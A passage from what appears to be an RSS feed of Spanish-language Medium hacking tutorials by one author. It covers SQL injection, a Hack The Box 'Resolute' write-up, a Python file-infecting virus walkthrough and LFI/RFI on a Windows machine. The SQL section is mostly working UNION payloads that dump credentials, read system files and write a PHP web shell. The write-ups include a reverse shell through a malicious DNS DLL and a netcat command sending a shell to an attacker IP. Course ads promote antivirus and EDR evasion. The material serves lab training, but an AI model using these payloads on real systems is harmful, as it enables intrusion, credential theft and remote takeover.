COLUM_NAME para encontrar los nombres de las columnas:</p><pre>&#39; UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name=&#39;credentials&#39;-- -</pre><p>Teniendo esto claro (y si no pues a estudiar SQL) podemos generar un payload para volcar información sensible :</p><pre>&#39; UNION select 1, username, password, 4 from dalt.credentials-- -</pre><p>En algunos casos se puede verificar si se puede leer o escribir archivos en la BD, para esto podemos ver el usuario de la BD</p><pre>&#39; UNION SELECT 1, user(), 3, 4-- -</pre><p>Para revisar los privilegios del usuario podemos usar:</p><pre>&#39; UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -</pre><p>Si se tuvieran muchos usuarios dentro de la BD, podemos agregar WHEW user= “user”</p><pre>&#39; UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user=&quot;user&quot;-- -</pre><p>Si la consulta devuelve un Y indica privilegios de superusario, teniendo esto en cuenta, podemos ver los privilegios del root</p><pre>&#39; UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE user=&quot;root&quot;-- -</pre><p>Si observamos que le privilegio FILE aparece en nuestro usuario quiere decir que nos permite leer archivos y potencialmente escribir archivos.</p><p>Para leer archivos en podemos usar LOAD_FILE() esta función se puede usar en MariaDB/MySQL, esta función toma un argumento, que es el nombre del archivo</p><pre>&#39; UNION SELECT 1, LOAD_FILE(&quot;/etc/passwd&quot;), 3, 4-- -</pre><p>Con esto en cuenta podemos ver el código fuente de la misma página, sabiendo que la raíz de Apache es “/var/www/html” (esto puede cambiar de pendiendo del administrador)</p><pre>&#39; UNION SELECT 1, LOAD_FILE(&quot;/var/www/html/search.php&quot;), 3, 4-- -</pre><p>Realmente esto lo podremos leer desde el código fuente desde la web.</p><p><strong>Escritura de Archivos</strong></p><p>La variable <a href="https://mariadb.com/kb/en/server-system-variables/#secure_file_priv">secure_file_priv</a> se usa para determinar desde dónde leer/escribir archivos. Un valor vacío nos permite leer archivos de todo el sistema de archivos.</p><pre>&#39; UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name=&quot;secure_file_priv&quot;-- -</pre><p>Y el resultado muestra que el secure_file_privalor está vacío, lo que significa que podemos leer/escribir archivos en cualquier ubicación.</p><p>Ahora que sabemos que podemos escribir archivos en la BD la sentencia SELECT INTO OUTFILE se puede escribir datos de consultas seleccionadas en archivos, se puede usar agregando INTO OUTFILE ‘…’ después de nuestra consulta para exportar los resultados al archivo especificado</p><p>La forma de escribir archivos es con la sentencia ‘file &lt;algo a escribir&gt;’ el payload seria el siguiente:</p><pre>&#39; union select 1,&#39;file dalton was here!&#39;,3,4 into outfile &#39;/var/www/html/proof.txt&#39;-- -</pre><p>Si esto no nos arroja algún error quiere decir que se escribió de forma correcta, por lo que podemos visitar lo que hemos escrito</p><p><a href="http://SERVER_IP:PORT/proof.txt">http://SERVER_IP:PORT/proof.txt</a></p><p>Teniendo esto encuenta podemos escribir entonces una web shell</p><pre>&#39; union select &quot;&quot;,&#39;&lt;?php system($_REQUEST[0]); ?&gt;&#39;, &quot;&quot;, &quot;&quot; into outfile &#39;/var/www/html/shell.php&#39;-- -</pre><p><a href="http://SERVER_IP:PORT/shell.php?0=id">http://SERVER_IP:PORT/shell.php?0=id</a></p><p>Por lo cual esto nos conduce a una escritura de código remoto dándonos pie para casi cualquier cosa que tengamos en mente, el límite son tu capacidades</p><p>Bien, espero que te gustara este pequeño tutorial y recuerda: El conocimiento nos hace responsable.</p><p>¡¡Happy Hacking!!</p><p>instagram: <a href="https://www.instagram.com/dalt0x6e.__asm__/?hl=es-la"><strong>dalt0X6.__asm__</strong></a></p><p>Linkedin:<a href="https://www.linkedin.com/in/omar-g-g-d/"> https://www.linkedin.com/in/omar-g-g-d/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=505eef46dd88" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WriteUp Resolute]]></title>
            <link>https://dalthon.medium.com/writeup-resolute-296794f96485?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/296794f96485</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[cyberattack]]></category>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Tue, 31 May 2022 19:02:17 GMT</pubDate>
            <atom:updated>2022-05-31T19:02:17.940Z</atom:updated>
            <content:encoded><![CDATA[<p>Se realizo una prueba de penetración a una máquina de hack the box, la maquina elegida fue la maquina ‘Resolute’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*05AR5n5BY9lKJd0HUWQM_g.png" /></figure><p>Iniciamos con la fase de enumeración y reconocimiento inicial.</p><p>Enumeramos los puertos de la maquina con el uso de nmap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*yJUj1bWnRwTPLVzAyK7ACQ.png" /></figure><p>-sS: Para el análisis de puertos TCP SYN</p><p>— min-rate: para que envié 5000 paquetes por segundo (En esta ocasión usamos esta opción dado que estamos en un entorno controlado)</p><p>-p- : Nos analiza todo el rango de puerto, los 65536 puertos.</p><p>-n : Para que nos quite la resolución DNS</p><p>-Pn: Deshabilita la detección de host</p><p>-sCV de las opciones combinadas -sC y -sV: nos intenta determinar los servicios que se ejecutan y nos lanza scripts predeterminados.</p><p>Todo esto lo exportamos al archivo targeted en formato nmap para tenerlo como evidencia.</p><p>Al ejecutar el comando nos arroja mucha información de la cual se debe separar la útil.</p><p>Como primer instancia vemos que se esta ejecutando un DC de nombre megabank.local, entre los puertos interesantes que estén abiertos observamos el 88 de kerberos , 445 de smb, 389 de ldap, 139 netbios y 5985 de remote sesión.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*q5_01oszRps4ns6qnpwl0A.png" /></figure><p>Dado que tenemos estos puertos se puede empezara a enumerar los mismos.</p><p>Para smb se intenta con la herramienta smblient, sin embargo, no nos deja logearnos con una sesión nula.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*qnC0dLOD6XP_M2lBaZfcYQ.png" /></figure><p>Por otro lado con rpclient por una mala configuración nos permite entrar, en este punto podemos intentar enumerar (si existen) usuarios.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*PceiSTh1OqY0JshY-HIskA.png" /></figure><p>Para nuestra fortuna si existen usuarios dentro, para encontrarlos hacemos uso del comando “enumdonusers”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*F7i3XwKIRsxmwlmT9FeSnw.png" /></figure><p>Dado que tenemos usuarios podríamos generar un diccionario con los mismos, pero pasarlos uno por uno sería muy tedioso, podemos hacer uso de grep a través de expresiones regulares para obtener los usuarios y pasarlos a un archivo, todo en un solo paso.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*ypTxyghuiW98MSkarFp15Q.png" /></figure><p>Pero por el momento solo tenemos usuarios, haría falta mas enumeración con rpcclient, o en dado caso podríamos hacer uso de un diccionario publico para intentar obtener una contraseña.</p><p>Regresando dentro de rpcclient con “querydispinfo” que recupera los usuarios del sistema y otra información relevante.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*eoDovCsl7Ek090JO8wBf6A.png" /></figure><p>Entre la información que se pudo encontrar es una contraseña: “Welcome123!”</p><p>Dado que tenemos ahora una contraseña y una lista de usuarios podemos usar crackmapexec para poder saber de quién es esa contraseña.</p><p>Al ejecutar la herramienta nos da el usuario a la cual pertenece la contraseña encontrada, en este punto podemos empezar a movernos lateralmente por la red.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*f4i4ZCpEYWDsze6Wi1g8nQ.png" /></figure><p>Para poder hacer uso de las credenciales hacemos uso de winRM dado que vimos en la enumeración inicial que las sesiones remotas están permitidas.</p><p>Y como se puede observar nos hemos podido loggear a la maquina con las credenciales, al comprobar la identidad nos damos cuenta que es la cuenta de ‘melanie’.</p><p>Como ya estamos dentro de la maquina tenemos que elevar privilegios para poder tener control total de la misma.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*6bMjVbKZfF9BKJydeV7LaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*4BbdGNFN1eXE9-kaubeoJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*TpTsCJspB56Uxs_nvqBIsg.png" /></figure><p>La enumeración la hacemos con los comandos “whoami /all”, “whoami /priv” y “net user Melanie”, pero no lo gramos encontrar algo que nos llame la atención o fuera de lugar.</p><p>La segunda fase de la enumeración la comenzamos por las carpetas desde el disco C:\</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*eiej-Nvoin13iDcCTcxrWA.png" /></figure><p>Sin embargo, no nos muestra nada, para ver su hay archivos ocultos usamos el comando “dir -force”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*t2Ab6mQfJxPJKedAtRjoig.png" /></figure><p>El cual nos muestra varias cosas que estaban ocultas, entre la carpeta que nos llama la atención es PSTranscritps, procedemos a navegar dentro de ella con los mismos comando por si sigue habiendo cosas ocultas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*KtDA4Caftdoa2VJ-A-g-UA.png" /></figure><p>Dentro de la carpeta encontramos lo que parece ser un archivo con llamativa atractiva para su inspección.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*dHtOlBmxTcpHwEWJiswr0A.png" /></figure><p>Al leer el archivo podemos observar mucha información y la que más resalta es una contraseña.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*Kuq-dggIvXeHesYTF7eCCA.png" /></figure><p>“Serv3r4Admin4cc123!” la cual dice ser del usuario ‘ryan’, pero para estar seguro ejecutaremos de nuevo la herramienta winRM junto al diccionario de usuarios.</p><p>Lo que nos confirma al propietario de la contraseña.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*9mSYtJ3_Ma1B-9t-1c9RXQ.png" /></figure><p>Con un Pwn3d! como salida podemos intentar logearnos.</p><p>Lo cual nos dará una sesión con el usuario Ryan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*yhBVADqTCpgmCRWB8ueScQ.png" /></figure><p>Aquí toca volver a enumerar al usuario para poder encontrar posibles vectores de escalamiento.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*KZF9-ao4Jr-5-9OjcGkmlA.png" /></figure><p>Al enumerar al usuario nos podemos dar cuenta que está en el grupo DNSadmins.</p><p>Este es un potencial vector de explotación para conseguir root de la máquina, una investigación nos daría la solución a este vector.</p><p><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges">https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges</a></p><p>La elevación de privilegios es sencilla, consiste en crear una dll maliciosa a inyectar, subirla a la maquina ya comprometida, parar e inicar los dns, para poder obtener una Shell con todos los privilegios.</p><p>He creado una dll maliciosa con msfvenom, la cual se conectara al puerto 443 de mi maquina una vez que el servicio dns sea reiniciado en la maquina comprometida.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*-jJF5xwJQUtFEVBznVlKTw.png" /></figure><p>Me compartiré mi dll maliciosa a través de un servicio compartido a nivel de red con la ayuda de impacket-smbserver, se creará una carpeta llamada smbShell se sincroniza con el contendio de mi carpeta actual.</p><p>En la maquina comprometida cargo la dll que tengo en mi máquina, a través del servicio compartido.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*6ZNK2ZG9L3tDY7FAEftV4Q.png" /></figure><p>Después de que la carga fuera exitosa, se tiene que primero detener el servicio dns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*LxN-51XKY34HPBPC-f5DgQ.png" /></figure><p>Una vez echo esto se tiene que reiniciar para poder inyectar la dll maliciosa y que me entregue una Shell con todos los permisos, para esto se debe tener un puerto a la escucha (en el puerto especificado en la creación de la dll)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*yli7WDOd2pdBsuwrcegThQ.png" /></figure><p>Dado que ahora tenemos una shell como authority\system podemos visualizar la bandera del usuario y de usuario Administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*Cymmny5lWtvEwGljCrW3iQ.png" /></figure><p>Bien, espero que te guste este pequeño tutorial y recuerda: El conocimiento nos hace responsable.</p><p>¡¡Happy Hacking!!</p><p>instagram: <a href="https://www.instagram.com/dalt0x6e.__asm__/?hl=es-la"><strong>dalt0X6.__asm__</strong></a></p><p>Linkedin: <a href="https://www.linkedin.com/in/omar-g-g-d/">https://www.linkedin.com/in/omar-ggd/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=296794f96485" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creación de Virus con Python]]></title>
            <link>https://dalthon.medium.com/creaci%C3%B3n-de-virus-con-python-934c8831215d?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/934c8831215d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[virus]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Tue, 15 Mar 2022 03:29:17 GMT</pubDate>
            <atom:updated>2026-04-13T00:37:23.204Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*RTTBgvUtU0KiNyT8qBp4HA.jpeg" /></figure><p>Bien, comencemos con lo natural… ¿Se puede crear un virus o malware con un lenguaje como Python? Si y no, comencemos diciendo que estos ya no son los 80’s donde las computadoras fueron más propensas a infectarse, los sistemas operativos han evolucionado en todos sus aspectos, ahora las empresas son más consientes de las debilidades del software.</p><p>Además Python es un lenguaje interpretado no compilado, por ende necesita un interprete y aunque se podría incrustar un interprete en en virus este resultaría torpe y mucho más pesado de lo que debería, es por ello que si buscas escribir algún virus para explotar vulnerabilidades te recomiendo lenguajes de bajo nivel como ensamblador o C.</p><p>Pero ahora si vamos con a lo que venimos, pero tantito antes..</p><h4>Descargo de responsabilidad</h4><p><strong>Este tutorial le mostrará como escribir un virus en Python. Sin embargo, NO te animo a escribir un virus (ni en Python ni en NINGÚN OTRO LENGUAJE), sin fines académicos.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*5TqZZCYkVSJByBNoO-12-w.jpeg" /></figure><p>Nuestro objetivo principal cuando escribimos un virus es crear un programa que pueda propagarse y replicarse infectando otros archivos, generalmente trayendo una “carga útil” (payload), que es una función maliciosa que queremos ejecutar en el sistema de destino.</p><p>Entonces un virus generalmente consta de tres partes:</p><ol><li>El vector de infección: esta parte es responsable de encontrar un objetivo y se propaga a este objetivo.</li><li>El disparador: esta es la condición que una vez cumplida ejecuta el payload</li><li>El payload: la función maliciosa que lleva el virus</li></ol><p>Primero necesitamos dos bibliotecas:</p><p>Sys para poder leer y escribir archivos del sistema y glob para buscar en los archivos del sistema solo aquellos con la extensión que necesitamos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/283/1*pcn4NMdDH0gvC9bnFU4IpQ.png" /></figure><p>Luego, escribiremos el código autorreplicante (El propio código fuente del virus ) creando una matriz vacía y obteniendo el nombre del archivo actual dinámicamente para abrirlo y leerlo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*LWgvthXudaTxbx_eyygDZQ.png" /></figure><p>Ahora, definiremos una variable booleana que nos ayude a conocer el estado del programa que se copiará, es decir, entre las etiquetas de inicio y finalización, si este cuenta con las etiquetas simplemente no debe hacer nada.</p><p>Iteramos sobre todas las líneas (Del archivo a infectar)y las copiamos en la matriz pre iniciada hasta que lleguemos al final.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*1sXzExlbT7TZnY42iS5Buw.png" /></figure><p>Luego guardaremos estos archivos y los leeremos uno por uno para infectarlos con nuestro código de virus.<br>Aquí primero comprobaremos si el archivo ya está infectado o no, es decir, si el archivo ya contiene la etiqueta de inicio. Si lo hace, pasamos al siguiente archivo, si no, lo infectamos agregando nuestro código de virus autorreplicante al código del archivo existente para preservar la funcionalidad original.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*FD_rToNemPxFBiCbC1PISA.png" /></figure><p>Por ultimo queda añadir nuestro payload, en aras de no dañar ningún sistema, simplemente escribiremos un pequeño mensaje (te aconsejo no escribir ni ejecutar ningún código si no eres lo suficiente mente hábil como para leer código ajeno)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*9JApvkXe3suQkLq6RIGdFA.png" /></figure><p>Bien, este sería nuestro código fuente para nuestro pequeño virus, veamos como funciona, aquí tengo unos pequeños scripts en python y lo probaremos con ellos.</p><p>Del lado izquierdo podemos ver un script muy simple, pero aquí lo importante es que te fijes en el encabezado</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bcakg51HndzpMbsIwhJFzQ.png" /></figure><p>Entonces a la ejecución del virus podemos observar de nuevo el código fuente:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5CXKoEDUF20rQP7LkeVE0Q.png" /></figure><p>Y podemos ver que hemos incrustado nuestro pequeño banner.</p><p>Cuidado con jugar mucho con este pequeño virus, podría sobrescribir muchas veces algún código importante que tengas por ahí, te recomiendo probarlo en un directorio aparte de tus programas.</p><p>Bien, espero que te gustara este pequeño tutorial y recuerda: El conocimiento nos hace responsable.</p><p>¡¡Happy Hacking!!</p><h3>¿Quieres llevar esto al siguiente nivel?</h3><p>En este artículo vimos la base de la ejecución de código en memoria.<br>Pero en entornos reales esto es solo el inicio.</p><p>En mi entrenamiento profundizo en:</p><ul><li>desarrollo de loaders evasivos</li><li>ejecución de shellcode sin detección</li><li>bypass de antivirus y EDR</li><li>uso avanzado de WinAPI en escenarios reales</li></ul><p>👉 Puedes ver el contenido completo aquí:<br>👉 <a href="https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp">https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0z2c1S1-xy0Gwt02ZVhZA.jpeg" /></figure><p>instagram: <a href="https://www.instagram.com/dalt0x6e.__asm__/?hl=es-la"><strong>dalt0X6.__asm__</strong></a></p><p>Linkedin:<a href="https://www.linkedin.com/in/omar-g-g-d/"> https://www.linkedin.com/in/omar-g-g-d/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=934c8831215d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LFI & RFI para servidores Windows]]></title>
            <link>https://dalthon.medium.com/lfi-rfi-para-servidores-windows-16665081aa3?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/16665081aa3</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Tue, 08 Mar 2022 04:20:57 GMT</pubDate>
            <atom:updated>2026-04-13T00:38:31.882Z</atom:updated>
            <content:encoded><![CDATA[<p>La inclusión de archivos locales (LFI) es la vulnerabilidad que se encuentra principalmente en los servidores web. Esta vulnerabilidad se aprovecha cuando la entrada de un usuario contiene una determinada ruta al archivo que podría estar presente en el servidor y se incluirá en la salida. Este tipo de vulnerabilidad se puede utilizar para leer archivos que contienen datos sensibles y confidenciales del sistema vulnerable.</p><p>En algunos escenarios, las aplicaciones web se escriben para solicitar acceso a archivos en un sistema determinado, incluidas imágenes, texto estático, etc. a través de parámetros. Los parámetros son cadenas de parámetros de consulta adjuntas a la URL que podrían usarse para recuperar datos o realizar acciones según la entrada del usuario. El siguiente gráfico explica y desglosa las partes esenciales de la URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*f3XlmNrwg4pNaJqMkqwHyw.png" /></figure><p><strong>Recorrido de ruta</strong></p><p>También conocida como cruce de directorios , una vulnerabilidad de seguridad web permite a un atacante leer los recursos del sistema operativo, como los archivos locales en el servidor que ejecuta una aplicación. El atacante aprovecha esta vulnerabilidad manipulando y abusando de la URL de la aplicación web para ubicar y acceder a archivos o directorios almacenados fuera del directorio raíz de la aplicación.</p><p>Supongamos que no hay validación de entrada y, en lugar de acceder a los archivos PDF en la ubicación /var/www/app/CVs , la aplicación web recupera archivos de otros directorios, que en este caso son /etc/passwd . Cada entrada .. mueve un directorio hasta que llega al directorio raíz / . Luego cambia el directorio a /etc y, desde allí, lee el archivo passwd .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EM_bk00zYKWR6Dh3Sy46Xg.png" /></figure><p>Si no logra ver la relación con el barrido de directorio, puede ver aquí como viajamos al subdirectorio recorriendo la ruta.</p><p>En este articulo, hablo con más detalle del recorrido de ruta y caracteristicas principales de un LFI</p><p><a href="https://dalthon.medium.com/pentesting-web-b92192902c15">PENTESTING WEB</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*uWAAnWMm2bnkmCEujosIZA.png" /></figure><h3>Windows</h3><p>Los LFI generalmente se encuentran en sistemas Linux y son medianamente fáciles de explotar según la competencia del desarrollador web.</p><p>Sin embargo los servidores de Windows no están exentos de esta vulnerabilidad, aunque es mas complicado localizarlos.</p><h3>PoC</h3><p>Para esta prueba de concepto se usara la maquina Sniper de Hack The Box, pero solo nos centraremos en LFI y RFI todo lo demás queda fuera de este articulo.</p><p>Se puede observar en la entra de la url el parámetro “?lang=blog-es.php” el cual pertenece al menú desplegable de idiomas y va cambiando según la elección.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vdomglctXMnpK8SARp-7EQ.png" /></figure><p>La primer impresión que me dio fue directamente pensar en LFI, sin embargo el sistema de archivos cambiar radicalmente cuando de maquinas Windows hablamos, sin embargo algo que se puede buscar es path de “\etc\hosts” para sistemas Windows el cual es “\<strong>windows</strong>\system32\drivers\<strong>etc</strong>\hosts” o el archivo “\Windows\win.ini” que esta en todos los equipos Windows, si introducimos alguna de las dos rutas debería dejarnos ver el contenido de la ruta, entonces probamos si es o no vulnerable al LFI.</p><p>Recomiendo iniciar con la primera, para probar un LFI y la segunda para comprobar la lectura de archivos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*fWn9mzhmwySwyOAFaUbO7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*TbxUZS_RnR8XYc1jnkV7Fg.png" /></figure><p>Al revisar el código fuente nos damos cuenta que en efecto es vulnerable y nos deja leer al servidor, pero ahora que sabemos que es vulnerable a LFI también nos queda ver si es vulnerable a RFI.</p><p>Para esta prueba crearemos un archivo php que nos pueda ejecutar un comando en el servidor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*puVirbOSHZDoyppp0nlZGw.png" /></figure><p>Lo cargaremos al servidor a través de un servicio compartido y al cargarlo nos muestra que en efecto podemos ejecutar comando, tenemos RCE a través de un RFI</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*Sdgo-v4K8JQQYuEHDaBhJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*sDtKnYKmcJL366Ybca9g2w.png" /></figure><p>Ahora que sabemos que podemos ejecutar comandos, podemos cambiar el primer script php por otro para poder obtener una consola interactiva.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*fkXRD4ZjOAVA0Q2ZZW2Yfw.png" /></figure><p>Teniendo esta pequeña utilidad nos podemos colar al sistema, mediante la URL, para esto necesitaremos un netcat (nc.exe) para el Windows, que cargaremos mediante un recurso compartido. A la url ya presentada se le agregara “&amp;cmd=\\10.10.14.146\pwnd\nc.exe -e cmd 10.10.14.14 444&quot; el cual cargara y ejecutara el netcat para a su vez nos enlace una consola interactiva nuestra ip por el puerto señalado (444)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dhpcB0l_jSPRUAhJ25i9BQ.png" /></figure><p>Aquí podemos ver que efectivamente nos devuelve una cmd ejecutando el miso usuario que habíamos visto con el primer script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4TFKaB5UZtNpVJAsRdqdvQ.png" /></figure><p>Vale, esto fue todo por esta entrega, quise hacerla por la poca información que hay sobre LFI a sistemas Windows, espero que sea de ayuda para entender este tema.</p><p>Recuerda el conocimiento nos hace responsables.</p><p>¡¡Happy Hacking!!</p><p>instagram: <a href="https://www.instagram.com/dalt0x6e.__asm__/?hl=es-la"><strong>dalt0X6.__asm__</strong></a></p><p>Linkedin: <a href="https://www.linkedin.com/in/omar-g-g-d/">https://www.linkedin.com/in/omar-g-g-d/</a></p><h3>¿Quieres llevar esto al siguiente nivel?</h3><p>En este artículo vimos la base de la ejecución de código en memoria.<br>Pero en entornos reales esto es solo el inicio.</p><p>En mi entrenamiento profundizo en:</p><ul><li>desarrollo de loaders evasivos</li><li>ejecución de shellcode sin detección</li><li>bypass de antivirus y EDR</li><li>uso avanzado de WinAPI en escenarios reales</li></ul><p>👉 Puedes ver el contenido completo aquí:<br>👉 <a href="https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp">https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0z2c1S1-xy0Gwt02ZVhZA.jpeg" /></figure><p>[ — — — — — — — — — <strong>dalt0X6.bvs</strong>— — — — — — — — — ]</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16665081aa3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>